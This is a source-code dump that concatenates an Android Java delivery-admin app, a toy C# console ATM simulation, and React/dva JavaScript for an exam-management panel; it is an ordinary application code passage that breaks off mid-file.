View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_in_progress,parent,false);
MyViewHolder vh = new MyViewHolder(v);
return vh;
}
@Override
public void onBindViewHolder(MyViewHolder holder, int position) {
if(Objects.equals(taskList.get(position).getTaskStatus(), "1")){
holder.tvStatus.setText("Assigned");
holder.tvGoogleMap.setVisibility(View.VISIBLE);
}else if(Objects.equals(taskList.get(position).getTaskStatus(), "2")){
holder.tvStatus.setText("Out for delivery");
holder.tvGoogleMap.setVisibility(View.VISIBLE);
}
holder.tvAssignedto.setText(taskList.get(position).getDriverName());
holder.tvDateTime.setText(taskList.get(position).getTaskStartDatetime());
holder.tvContact.setText(taskList.get(position).getTaskDeliveryPersonContact());
}
@Override
public int getItemCount() {
return taskList.size();
}
public class MyViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener{
TextView tvStatus, tvAssignedto, tvDateTime, tvContact;
ImageView tvGoogleMap;
public MyViewHolder(View itemView) {
super(itemView);
tvStatus = (TextView)itemView.findViewById(R.id.tv_status_progress);
tvAssignedto = (TextView)itemView.findViewById(R.id.tv_assigned_to_progress);
tvDateTime = (TextView)itemView.findViewById(R.id.tv_date_time_progress);
tvContact = (TextView)itemView.findViewById(R.id.contact_progress);
tvGoogleMap = (ImageView)itemView.findViewById(R.id.view_on_map);
tvGoogleMap.setOnClickListener(this);
}
@Override
public void onClick(View view) {
Intent intent = new Intent(context, MapsActivity.class);
intent.putExtra("lat1", taskList.get(getAdapterPosition()).getTaskPickupLatitude());
intent.putExtra("lat2", taskList.get(getAdapterPosition()).getTaskDropoffLatitude());
intent.putExtra("lang1", taskList.get(getAdapterPosition()).getTaskPickupLongitude());
intent.putExtra("lang2", taskList.get(getAdapterPosition()).getTaskDropoffLongitude());
intent.putExtra("driver_contact",taskList.get(getAdapterPosition()).getDriverContact());
context.startActivity(intent);
}
}
}
<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Adapters/NewTaskAdapter.java
package com.rstintl.docta.deliveryApp.Adapters;
import android.content.Context;
import android.content.Intent;
import android.support.v7.widget.CardView;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import com.rstintl.docta.deliveryApp.Activities.AssignTask;
import com.rstintl.docta.deliveryApp.Models.Task;
import com.rstintl.docta.deliveryApp.R;
import java.util.ArrayList;
import java.util.List;
public class NewTaskAdapter extends RecyclerView.Adapter<NewTaskAdapter.MyViewHolder>{
private List<Task> taskList = new ArrayList<>();
private Context context;
public NewTaskAdapter(Context context, List<Task> taskList){
this.context = context;
this.taskList = taskList;
}
public class MyViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener {
TextView tvDateTime, tvPickup, tvDropoff, tvStatus;
CardView cardViewTask;
public MyViewHolder(View itemView) {
super(itemView);
tvDateTime = (TextView)itemView.findViewById(R.id.tv_date_time);
tvPickup = (TextView)itemView.findViewById(R.id.tv_pickup);
tvDropoff = (TextView)itemView.findViewById(R.id.tv_dropoff);
tvStatus = (TextView)itemView.findViewById(R.id.tv_status);
cardViewTask = (CardView)itemView.findViewById(R.id.cardview_task);
cardViewTask.setOnClickListener(this);
}
@Override
public void onClick(View view) {
Intent intent = new Intent(context, AssignTask.class);
intent.putExtra("pickup",taskList.get(getAdapterPosition()).deliveryDate);
context.startActivity(intent);
}
}
@Override
public NewTaskAdapter.MyViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_task,parent,false);
MyViewHolder vh = new MyViewHolder(v);
return vh;
}
@Override
public void onBindViewHolder(NewTaskAdapter.MyViewHolder holder, int position) {
holder.tvDateTime.setText(taskList.get(position).getDeliveryDate() + " " + taskList.get(position).getDeliveryTime());
holder.tvPickup.setText("Pickup From: "+ taskList.get(position).pickUpLocation);
holder.tvDropoff.setText("Drop Off: "+ taskList.get(position).dropOffLocation);
holder.tvStatus.setText(taskList.get(position).getStatus());
}
@Override
public int getItemCount() {
return taskList.size();
}
}
<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Adapters/CompletedAdapter.java
package com.rstintl.docta.deliveryApp.Adapters;
import android.content.Context;
import android.content.Intent;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;
import com.rstintl.docta.deliveryApp.Activities.MapsActivity;
import com.rstintl.docta.deliveryApp.Models.AssignedTask;
import com.rstintl.docta.deliveryApp.R;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
/**
* Created by Ashish on 07-09-2017.
*/
public class CompletedAdapter extends RecyclerView.Adapter<CompletedAdapter.MyViewHolder> {
private List<AssignedTask> taskList = new ArrayList<>();
private Context context;
public CompletedAdapter(Context context, List<AssignedTask> taskList){
this.context = context;
this.taskList = taskList;
}
@Override
public MyViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_completed,parent,false);
MyViewHolder vh = new MyViewHolder(v);
return vh;
}
@Override
public void onBindViewHolder(MyViewHolder holder, int position) {
holder.tvDeliveredBy.setText(taskList.get(position).getDriverName());
holder.tvDeliveredTo.setText(taskList.get(position).getTaskDeliveryPersonName());
holder.tvDeliveredOn.setText(taskList.get(position).getTaskEndDatetime());
}
@Override
public int getItemCount() {
return taskList.size();
}
public class MyViewHolder extends RecyclerView.ViewHolder{
TextView tvDeliveredBy, tvDeliveredTo, tvDeliveredOn;
public MyViewHolder(View itemView) {
super(itemView);
tvDeliveredBy = (TextView)itemView.findViewById(R.id.tv_delivered_by_completed);
tvDeliveredTo = (TextView)itemView.findViewById(R.id.tv_delivered_to_completed);
tvDeliveredOn = (TextView)itemView.findViewById(R.id.tv_delivered_on);
}
}
}
<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Activities/AssignTask.java
package com.rstintl.docta.deliveryApp.Activities;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Spinner;
import com.rstintl.docta.deliveryApp.R;
public class AssignTask extends AppCompatActivity implements AdapterView.OnItemSelectedListener{
String[] city = new String[]{"Select One","New Delhi", "Gurgaon","Noida", "Gaziabaad", "Mumbai"};
String[] area_newDelhi = new String[]{"Select One","Rajiv Chauk", "Rohini East", "Rohini West", "Dwarka Sector-32", "Hauz Khas"};
String[] area_newGurgaon = new String[]{"Select One","Subhash Chauk", "Sushant Lok", "Sector-14", "Sector 32", "Sohna Road"};
String[] area_newGaziabaad = new String[]{"Select One","Sector-16", "Sector-18", "Sector-19", "Sector-21", "Sector-25"};
String[] area_mumbai = new String[]{"Select One","Navi Mumbai", "Andheri East", "Andheri West", "Vikhroli West", "Kandiwali East"};
String[] area_noida = new String[]{"Select One","Pari Chauk", "Bambura Chauk", "Atta Market", "Sector-16", "Sector-14"};
String[] delivery_agent = new String[]{"Select One", "<NAME>","<NAME>", "Vinay", "<NAME>", "<NAME>"};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_assign_task);
populateCitySpinner();
}
private void populateAgentSpinner() {
Spinner agentSpinner = (Spinner)findViewById(R.id.spinner_delivery_agent);
ArrayAdapter<String> gameKindArray= new ArrayAdapter<String>(this,android.R.layout.simple_spinner_item, delivery_agent);
gameKindArray.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
agentSpinner.setOnItemSelectedListener(this);
agentSpinner.setAdapter(gameKindArray);
}
private void populateAreaSpinner(String[] area) {
Spinner areaSpinner = (Spinner)findViewById(R.id.spinner_area);
ArrayAdapter<String> gameKindArray= new ArrayAdapter<String>(this,android.R.layout.simple_spinner_item, area);
gameKindArray.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
areaSpinner.setOnItemSelectedListener(this);
areaSpinner.setAdapter(gameKindArray);
}
private void populateCitySpinner() {
Spinner citySpinner = (Spinner)findViewById(R.id.spinner_city);
ArrayAdapter<String> gameKindArray= new ArrayAdapter<String>(this,android.R.layout.simple_spinner_item, city);
gameKindArray.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
citySpinner.setOnItemSelectedListener(this);
citySpinner.setAdapter(gameKindArray);
}
@Override
public void onItemSelected(AdapterView<?> adapterView, View view, int i, long l) {
switch (adapterView.getId()){
case R.id.spinner_city:
if(i == 1){
populateAreaSpinner(area_newDelhi);
}else if(i==2){
populateAreaSpinner(area_newGurgaon);
}else if(i==3){
populateAreaSpinner(area_noida);
}else if(i==4){
populateAreaSpinner(area_newGaziabaad);
}else if(i==5){
populateAreaSpinner(area_mumbai);
}
break;
case R.id.spinner_area:
populateAgentSpinner();
break;
case R.id.spinner_delivery_agent:
break;
}
}
@Override
public void onNothingSelected(AdapterView<?> adapterView) {
}
}
<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Activities/ViewVehicle.java
package com.rstintl.docta.deliveryApp.Activities;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import com.rstintl.docta.deliveryApp.Adapters.DriverAdapter;
import com.rstintl.docta.deliveryApp.Adapters.VehicleAdapter;
import com.rstintl.docta.deliveryApp.Models.DriverInfo;
import com.rstintl.docta.deliveryApp.Models.VehicleList;
import com.rstintl.docta.deliveryApp.R;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.MultipartBody;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
public class ViewVehicle extends AppCompatActivity {
List<VehicleList> vehicleList = new ArrayList<>();
List<String> driverData = new ArrayList<>();
OkHttpClient client = new OkHttpClient();
VehicleAdapter vehicleAdapter;
RecyclerView recyclerView;
LinearLayoutManager linearLayoutManager;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_view_vehicle);
getDriverList();
recyclerView = (RecyclerView)findViewById(R.id.recycler);
linearLayoutManager = new LinearLayoutManager(getApplicationContext());
recyclerView.setHasFixedSize(true);
recyclerView.setLayoutManager(linearLayoutManager);
}
private void getDriverList(){
/*final ProgressDialog progressDialog = ProgressDialog.show(this, "Adding New Driver", "Please wait while we are adding a new profile to our database");
progressDialog.show();*/
RequestBody requestBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("token", "")
.build();
Request request = new Request.Builder().url(getResources().getString(R.string.base_url)+"/trucky/vehicle/get_vehicle").addHeader("token","d<PASSWORD>").post(requestBody).build();
okhttp3.Call call = client.newCall(request);
call.enqueue(new Callback() {
public static final String MODE_PRIVATE = "";
@Override
public void onFailure(Call call, IOException e) {
System.out.println("Registration Error" + e.getMessage());
/*showToast("Failed");
progressDialog.dismiss();*/
}
@Override
public void onResponse(Call call, okhttp3.Response response) throws IOException {
try {
String resp = response.body().string();
try {
JSONObject jsonObject = new JSONObject(resp);
JSONObject jsonResponse = jsonObject.getJSONObject("Response");
JSONObject dataObject = jsonResponse.getJSONObject("data");
JSONArray dataArray = dataObject.getJSONArray("vehicle_list");
for(int i=0; i< dataArray.length();i++){
JSONObject jsonObject1 = dataArray.getJSONObject(i);
String vehicleId = jsonObject1.getString("vehicle_id");
String vehicleName = jsonObject1.getString("vehicle_name");
String vehicleType = jsonObject1.getString("vehicle_type");
VehicleList vehicleList1 = new VehicleList(vehicleId, vehicleName, vehicleType);
vehicleList.add(vehicleList1);
}
runOnUiThread(new Runnable() {
@Override
public void run() {
vehicleAdapter = new VehicleAdapter(getApplicationContext(), vehicleList);
recyclerView.setAdapter(vehicleAdapter);
}
});
} catch (JSONException e) {
e.printStackTrace();
}
/*progressDialog.dismiss();
showToast("Success");*/
Log.d("response",resp);
} catch (IOException e) {
/* progressDialog.dismiss();
showToast("Failed");*/
// Log.e(TAG_REGISTER, "Exception caught: ", e);
System.out.println("Exception caught" + e.getMessage());
}
}
});
}
}
<file_sep>/app/src/main/java/com/rstintl/docta/deliveryApp/Adapters/VehicleAdapter.java
package com.rstintl.docta.deliveryApp.Adapters;
import android.content.Context;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import com.rstintl.docta.deliveryApp.Models.VehicleList;
import com.rstintl.docta.deliveryApp.R;
import java.util.ArrayList;
import java.util.List;
/**
* Created by Ashish on 08-09-2017.
*/
public class VehicleAdapter extends RecyclerView.Adapter<VehicleAdapter.MyViewHolder> {
private List<VehicleList> vehicleList = new ArrayList<>();
private Context context;
public VehicleAdapter(Context context, List<VehicleList> vehicleList) {
this.context = context;
this.vehicleList = vehicleList;
}
@Override
public MyViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_vehicle_inventory, parent, false);
MyViewHolder vh = new MyViewHolder(v);
return vh;
}
@Override
public void onBindViewHolder(MyViewHolder holder, int position) {
holder.tvVehicleName.setText(vehicleList.get(position).getVehicleName());
holder.tvvehicleType.setText("Vehicle Type: " + vehicleList.get(position).getVehicleType());
}
@Override
public int getItemCount() {
return vehicleList.size();
}
public class MyViewHolder extends RecyclerView.ViewHolder {
TextView tvVehicleName, tvvehicleType;
public MyViewHolder(View itemView) {
super(itemView);
tvVehicleName = (TextView) itemView.findViewById(R.id.tv_vehicle_name);
tvvehicleType = (TextView) itemView.findViewById(R.id.tv_vehicle_type);
}
}
}
| 41942f612d714327e0523154e41f21d1f610e074 | [
"Java"
] | 13 | Java | ashishguptasanu/TruckyAdmin | 2ba34f0a36ec86915b774f03b103c33b171a6474 | e6d4c9009c6d5fc8ec30a63b4890755ddb281739 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp4
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Please Insert your card");
Console.ReadLine();
Console.WriteLine("Enter your 4 digit pin");
var pin = Int32.Parse(Console.ReadLine());
var regPin = 8888; var accountBalance = 350000;
if (pin == regPin)
{
Console.WriteLine("Please select your option");
Console.WriteLine("1)TRANSFERS 2)RECHARGE 3) DSTV BILL PAYMENT");
var options = int.Parse(Console.ReadLine());
if (options == 1)
{
Console.WriteLine("Enter destination account number:");
var acct = Console.ReadLine();
if (acct.Length == 10)
{
Console.WriteLine("Enter Amount:");
var amount = int.Parse(Console.ReadLine());
if (amount <= accountBalance)
{
var balance = accountBalance - amount;
Console.WriteLine($"Transaction Successful, your new balance is #{balance}");
}
else
{
Console.WriteLine("##INSUFFICIENT FUNDS##");
}
}
else
{
Console.WriteLine("##Incorrect account number##");
}
}
if (options == 2)
{
Console.WriteLine("Please select your option");
Console.WriteLine("1)Self Recharge 2)Third Party Recharge");
options = int.Parse(Console.ReadLine());
if (options == 1)
{
Console.WriteLine("Enter Amount:");
var amt = int.Parse(Console.ReadLine());
if (amt <= accountBalance)
{
Console.WriteLine($"YOUR LINE HAS BEEN SUCCESSFULLY REECHARGED WITH {amt}");
}
else
{
Console.WriteLine("##INSUFFICIENT FUNDS##");
}
}
else if (options == 2)
{
Console.WriteLine("ENTER RECIPIENT PHONENUMBER:");
var number = Console.ReadLine();
Console.WriteLine("ENTER AMOUNT:");
var amt = int.Parse(Console.ReadLine());
if (amt<= accountBalance)
{
Console.WriteLine($"{number} has been creditted {amt} successfully");
}
else
{
Console.WriteLine("##INSUFFICIENT FUND##");
}
}
else
{
Console.WriteLine("##INVALID INPUT");
}
}
if (options == 3)
{
Console.WriteLine("ENTER YOUR DSTV SMART CARD NUMBER:");
var cardNumber = Console.ReadLine();
var card = "112233445566";
if (card == cardNumber)
{
Console.WriteLine("Select Plan:");
Console.WriteLine("1)Full package 2)DSTV Mini 3)DSTV4All");
var plan = int.Parse(Console.ReadLine());
switch(plan)
{
case 1:
Console.WriteLine("PAY 15000 TO SUBSCRIBE NOW:");
Console.WriteLine("1) YES 2)NO");
var input = int.Parse(Console.ReadLine());
if (input == 1)
{
Console.WriteLine("YOU HAVE SUCCESSFULLY SUBSCRIBED FOR THE FULL PACKAGE");
}
break;
case 2:
Console.WriteLine("PAY 10000 TO SUBSCRIBE NOW:");
Console.WriteLine("1) YES 2)NO");
input = int.Parse(Console.ReadLine());
if (input == 1)
{
Console.WriteLine("YOU HAVE SUCCESSFULLY SUBSCRIBED FOR THE MINI PACKAGE");
}
break;
case 3:
Console.WriteLine("PAY 7000 TO SUBSCRIBE NOW:");
Console.WriteLine("1) YES 2)NO");
input = int.Parse(Console.ReadLine());
if (input == 1)
{
Console.WriteLine("YOU HAVE SUCCESSFULLY SUBSCRIBED FOR DSTV4ALL");
}
break;
default:
Console.WriteLine("INCORRECT SELECTION");
break;
}
}
else
{
Console.WriteLine("##INVALID CARD NUMBER##");
}
}
}
else
{
Console.WriteLine("##Incorrect pin##");
}
Console.ReadKey();
}
}
}
| 932edc2a9f3ed6b24c22da704b75760fd83c5c72 | [
"C#"
] | 1 | C# | TimTyger/AtmApp | 25cf69cfa0928c3ef8b3954594188c93abc037d0 | c01cb459396eff2438206f47f3463634eb659171 |
refs/heads/master | <file_sep>import {getRoom,addRoom,removeRoom} from "../services/roomMsg"
import {message} from 'antd'
export default {
namespace: 'roomMsg',
state: {
roomData:[],
mask:false,
deteleMask:false
},
reducers: {
saveRoomData(state,action){
return {...state,...action}//保存教室号数据
},
maskCtrol(state,action){
return {...state,...action}
}
},
effects: {
* getRoom(action, {//获取教室号
call,
put
}) {
let infodata = yield call(getRoom)
yield put({ type: 'saveRoomData' ,roomData:infodata.data});
},
*addRoom(actions,{call,put}){
let data = yield call(addRoom,actions.body)
yield put({type:'maskCtrol',mask:false})
if(data.code===1){
yield put({ type: 'saveRoomData'})
message.success(data.msg)
}else{
message.error(data.msg)
}
},
*changeMask(actions,{call,put}){
if(actions.data === 'add'){
yield put({type:'maskCtrol',mask:true})
}else{
yield put({type:'maskCtrol',mask:false})
}
},
*removeRoom(actions,{call,put}){
let data = yield call(removeRoom,actions.body)
if(data.code===1){
message.success(data.msg)
}else{
message.error(data.msg)
}
}
}
}<file_sep>import React from 'react'
import {
Table, Spin
} from 'antd'
import { connect } from 'dva'
import styles from './style.less'
const { Column } = Table;
class WaitingClass extends React.Component {
state = { loading: true }
async componentDidMount() {
await this.props.dispatch({ type: 'questions/WaitingapprovalAsync', data: {} })
this.setState({
loading: false
})
}
render() {
let { Waitingapproval } = this.props
return (
<Spin spinning={this.state.loading}>
<div className={styles.waiting}>
<Table dataSource={Waitingapproval ? Waitingapproval : []} rowKey="grade_id">
<Column
title="班级名"
dataIndex="grade_name"
key="grade_name"
/>
<Column
title="课程名"
dataIndex="subject_text"
key="subject_text"
/>
<Column
title="阅卷状态"
dataIndex="status"
key="status"
/>
<Column
title="课程名称"
dataIndex="subject_text"
key="subject_texts"
/>
<Column
title="成材率"
dataIndex="room_text"
key="room_text"
/>
<Column
title="操作"
key="action"
render={(text, record) => (
<span>
<b className="a" onClick={() => {
this.props.history.push(`/main/readquestionsdetail?grade_id=${text.grade_id}`)
}}>批卷</b>
</span>
)}
/>
</Table>
</div>
</Spin>
)
}
}
let mapStateToProps = state => state.questions
export default connect(mapStateToProps)(WaitingClass)<file_sep>import React from 'react'
import {
Form, Input, Select, Button, Modal, Spin
} from 'antd';
import { connect } from 'dva'
import Editor from 'for-editor'
import styles from './style.less'
const confirm = Modal.confirm
const Option = Select.Option;
class TestQuestions extends React.Component {
constructor() {
super()
this.state = {
user: {
questions_type_id: 'wbxm4-jf8q6k-lvt2ca-ze96mg', //试题类型id
questions_stem: '', //题干
subject_id: '', //课程id
exam_id: '', //考试类型id
user_id: '', //用户id
questions_answer: '', // 题目答案
title: '' // 试题的主题
},
loading: true
}
}
async componentDidMount() {
if (this.props.typewithquestions === "add") {
await this.props.dispatch({ type: 'questions/changeExamType' })
await this.props.dispatch({ type: 'questions/changeAllSubject' })
await this.props.dispatch({ type: 'questions/changeAllQuestionType' })
this.setState({
loading: false
})
} else {
let { user } = this.state
await this.props.dispatch({ type: 'questions/changeExamType' })
await this.props.dispatch({ type: 'questions/changeAllSubject' })
await this.props.dispatch({ type: 'questions/changeAllQuestionType' })
await this.props.dispatch({ type: 'questions/getQuestionsConditionAsync', data: { questions_id: this.props.path } })
user.questions_id = this.props.path
this.setState({
user,
loading: false
})
}
}
// 提交试题
updateToQuestion = () => {
// 获取信息
let { userInfo } = this.props.login
let { user } = this.state
let that = this
user.user_id = userInfo.user_id
this.setState({
user
})
let flag = user.questions_type_id && user.questions_stem && user.subject_id && user.exam_id && user.user_id && user.questions_answer && user.title
// 判断是添加还是修改执行不同代码块
if (this.props.typewithquestions === "add") {
if (flag) {
confirm({
title: '你确定要添加这道题吗',
content: '真的要添加吗',
// 确定
onOk() {
that.props.dispatch({ type: 'questions/addQuestionsAsync', user })
},
//取消
onCancel() {
console.log('Cancel');
}
});
}
} else {
if (flag) {
this.props.dispatch({ type: 'questions/updateQuestionsAsync', user })
this.props.push("/main/list")
}
}
}
render() {
let { examType, ClassType, allQuestionType } = this.props.questions
let { user } = this.state
return (
<Spin spinning={this.state.loading}>
<div className={styles.AddQuestions}>
<Form.Item label="题目信息:题干">
<Input placeholder='请输入题目标题,不超过20个字' onChange={(event) => {
user.questions_stem = event.target.value
this.setState({
user
})
}} />
</Form.Item>
<Form.Item label="请选择考试类型">
<Select defaultValue="请选择" style={{ width: 120 }} onChange={(value) => {
let { user } = this.state
user.exam_id = value
this.setState({
user
})
}}>
{
examType.length && examType.map((ele) => {
return <Option value={ele.exam_id} key={ele.exam_id}>{ele.exam_name}</Option>
})
}
</Select>
</Form.Item>
<p>题目主题</p>
<Editor value={user.title} onChange={(value) => {
user.title = value
this.setState({
user
})
}} />
<Form.Item label="请选择课程类型">
<Select defaultValue="请选择" style={{ width: 120 }} onChange={(text) => {
user.subject_id = text
this.setState({
user
})
}}>
{
ClassType.length && ClassType.map((ele) => {
return <Option key={ele.subject_id}>{ele.subject_text}</Option>
})
}
</Select>
</Form.Item>
<Form.Item label="请选择题目类型">
<Select defaultValue="请选择" style={{ width: 120 }} onChange={(text) => {
user.questions_type_id = text
this.setState({
user
})
}} >
{
allQuestionType.length && allQuestionType.map((ele) => {
return <Option key={ele.questions_type_id}>{ele.questions_type_text}</Option>
})
}
</Select>
</Form.Item>
<p>答案信息</p>
<Editor value={user.questions_answer} onChange={(value) => {
user.questions_answer = value
this.setState({
user
})
}} />
<Button type="primary" onClick={this.updateToQuestion}>提交</Button>
</div>
</Spin>
)
}
}
let mapStateToProps = (state) => {
return state
}
export default connect(mapStateToProps)(TestQuestions)
<file_sep>import React from "react"
import { connect } from "dva"
import { Modal, Input, Select, Button } from 'antd'
const Option = Select.Option;
class ClassMask extends React.Component{
state = {
visible: false,
gradeName: "",//班级
roomName: "",//教室
bookName: "",//课程名
newClassData:{},
roomId:'',
bookId:''
}
componentDidMount(){
this.props.dispatch({
type:'classMsg/getClassRoom'
})
this.props.dispatch({
type:'classMsg/getSubject'
})
}
showModal = () => {
console.log(this.props.text,'text')
let {text} =this.props
if(text){
this.setState({
gradeName: text.grade_name,
roomName: text.room_text,
bookName: text.subject_text
})
}
this.setState({
visible: true,
});
}
handleOk = (e) => {
let {gradeName,roomId,bookId} = this.state
this.props.dispatch({
type:'classMsg/getAddClass',
body:{
grade_name:gradeName,
room_id:roomId,
subject_id:bookId
}
})
this.setState({
visible: false,
});
this.props.dispatch({
type:'classMsg/getClassInfo'
})
this.setState({
gradeName: '',
roomName: '',
bookName: ''
})
}
handleCancel = (e) => {
console.log(e);
this.setState({
visible: false,
});
this.setState({
gradeName: '',
roomName: '',
bookName: ''
})
}
grades = (e) => {
this.setState({
gradeName: e.target.value
})
}
room(value,id){
this.setState({
roomName: value,
roomId:id
})
}
subject(value,id){
this.setState({
bookName: value,
bookId:id
})
}
render(){
let {gradeName,roomName,bookName} = this.state
let {classRoomData,subjectData} = this.props.classMsg
let {text} =this.props
return (
<div>
{text?<Button onClick={this.showModal}>修改</Button>:<Button type="primary" onClick={this.showModal}>+添加班级</Button>}
<Modal
title="Basic Modal"
visible={this.state.visible}
onOk={this.handleOk}
onCancel={this.handleCancel}
>
<div>
<p>班级名:</p>
<Input placeholder="班级名" value={gradeName} onChange={this.grades} style={{ width: 450 }} disabled={text ? true : false}/>
</div>
<div>
<p>教室号:</p>
<Select value={roomName} style={{ width: 450 }}>
{
classRoomData.length && classRoomData.map((item, key) => {
return <Option key={item.room_id} value={item.room_id} onClick={()=>{
this.room(item.room_text,item.room_id)
}}>{item.room_text}</Option>
})
}
</Select>
</div>
<div>
<p>课程名:</p>
<Select value={bookName} style={{ width: 450 }}>
{
subjectData.length && subjectData.map((item, key) => {
return <Option key={item.subject_id} value={item.subject_id} onClick={()=>{
this.subject(item.subject_text,item.subject_id)
}}>{item.subject_text}</Option>
})
}
</Select>
</div>
</Modal>
</div>
)
}
}
let mapStateToProps = (state) => {
return state
}
export default connect(mapStateToProps)(ClassMask)<file_sep>import React from 'react'
import { Layout, Menu, Icon } from 'antd';
import styles from './styles.less'
import { routes } from '@/routerConfig/router.config'
import { withRouter } from "dva/router"
const { SubMenu } = Menu;
const { Sider } = Layout;
class Menus extends React.Component {
goToContent(path, title) {
let { getMenuTitle, history: {
push
} } = this.props
getMenuTitle(title)
push(path)
}
render() {
let { history: {
location: {
pathname
}
} } = this.props
return (
<Sider width={256} className={styles.sider}>
<Menu
theme="dark"
mode="inline"
selectedKeys={[pathname]}
defaultOpenKeys={['sub1']}
style={{ height: '100%', borderRight: 0 }}
>
{
routes[1].children.map((ele, ind) => {
return (
<SubMenu key={ele.title} title={<span><Icon type="user" />{ele.title}</span>}>
{
ele.children.map((key)=>{
if (key.title) {
return <Menu.Item key={key.path}>
<p onClick={this.goToContent.bind(this, key.path, key.title)}>{key.title}</p>
</Menu.Item>
}else{
return ''
}
})
}
</SubMenu>
)
})
}
</Menu>
</Sider>
)
}
}
export default withRouter(Menus)<file_sep>import loadComponent from '@/utils/loadComponent.js'
const ReadQuestions = {
path:'/main',
name:'ReadQuestions',
title:'阅卷管理',
icon:'',
children:[
{
path:'/main/readquestions',
name:'ReadQuestions',
title:'待批班级',
component:loadComponent(['questions'],()=>import('../routes/ReadQuestions/WaitingClass/'))
},
{
path:'/main/readquestionsdetail',
name:'ReadQuestions',
title:'',
component:loadComponent(['questions'],()=>import('../routes/ReadQuestions/WaitingDetail/'))
}
]
}
export default ReadQuestions<file_sep>import {
addQuestions,
ExamType,
AllSubject,
AllQuestionType,
insertQuestionsType,
delQuestionsType,
getQuestionsCondition,
Waitingapproval,
getStudentDetail,
updateQuestions
} from '@/services/questions'
import { routerRedux } from 'dva/router'
import {
message
} from 'antd';
export default {
namespace: 'questions',
state: {
examType: [],
ClassType: [],
allQuestionType: [],
msg: '',
conditionClassType: [],
Waitingapproval: [],
},
reducers: {
addQuestionsSync(state, action) {
state.msg = action.msg
return {
...state,
msg: action.msg
}
},
changeExamTypes(state, action) {
return {
...state,
examType: action.data
}
},
changeAllSubjects(state, action) {
return {
...state,
ClassType: action.data
}
},
changeAllQuestionTypes(state, action) {
return {
...state,
allQuestionType: action.data
}
},
// 同步筛选
conditionClassType(state, action) {
return {
...state,
conditionClassType: action.data
}
},
Waitingapproval(state, action) {
return {
...state,
Waitingapproval: action.data
}
}
},
effects: {
// 添加试题
* addQuestionsAsync(action, {
call,
put
}) {
let result = yield call(addQuestions, action.user)
if (result.code === 1) {
yield put({ type: 'addQuestionsSync', msg: result.msg })
message.success(result.msg);
yield put(routerRedux.push('/main/list'))
} else {
message.error(result.msg);
}
},
// 考试类型
* changeExamType(action, {
call,
put
}) {
let examType = yield call(ExamType)
yield put({ type: 'changeExamTypes', data: examType.data })
},
// 所有课程
* changeAllSubject(action, {
call,
put
}) {
let ClassType = yield call(AllSubject)
yield put({ type: 'changeAllSubjects', data: ClassType.data })
},
// 题目类型
* changeAllQuestionType(action, {
call,
put
}) {
let allQuestionType = yield call(AllQuestionType)
yield put({ type: 'changeAllQuestionTypes', data: allQuestionType.data })
},
// 插入类型
* insertQuestionsTypeAsync(action, {
call,
put
}) {
let insertQuestions = yield call(insertQuestionsType, action.body)
if (insertQuestions.code === 1) {
yield put({
type: "changeAllQuestionTypes"
})
}
},
// 删除类型
* delQuestionsTypeAsync(action, {
call,
put
}) {
yield call(delQuestionsType, action.body)
},
// 按条件筛选
* getQuestionsConditionAsync(action, {
call,
put
}) {
let questionsCondition = yield call(getQuestionsCondition, action.data)
yield put({ type: "conditionClassType", data: questionsCondition.data })
},
* WaitingapprovalAsync(action, {
call,
put
}) {
let WaitingapprovalAsync = yield call(Waitingapproval, action.data)
yield put({ type: "Waitingapproval", data: WaitingapprovalAsync.data })
},
* getStudentDetailAsync(action, {
call,
put
}) {
let readExam = yield call(getStudentDetail, action.data)
if (readExam.code === 1) {
message.success(readExam.msg);
}else{
message.error(readExam.msg);
}
},
* updateQuestionsAsync(action, {
call,
put
}) {
yield call(updateQuestions, action.user)
}
}
}<file_sep>import { getLogin, getInfo } from '@/services/login'
import { getViewAuthority } from '@/services/AuthorityManage'
import { message } from 'antd'
export default {
namespace: 'login',
state: {
userInfo: {},
view_authority:{}
},
reducers: {
changUserInfo(state, action) {
return {
...state,
userInfo: action.data
}
},
changeViewAuthority(state, action){
return {
...state,
view_authority: action.data
}
}
},
effects: {
* getLogin(action, {
call,
put
}) {
let result = yield call(getLogin, action.body)
if (result.code === 1) {
localStorage.setItem("token", result.token)
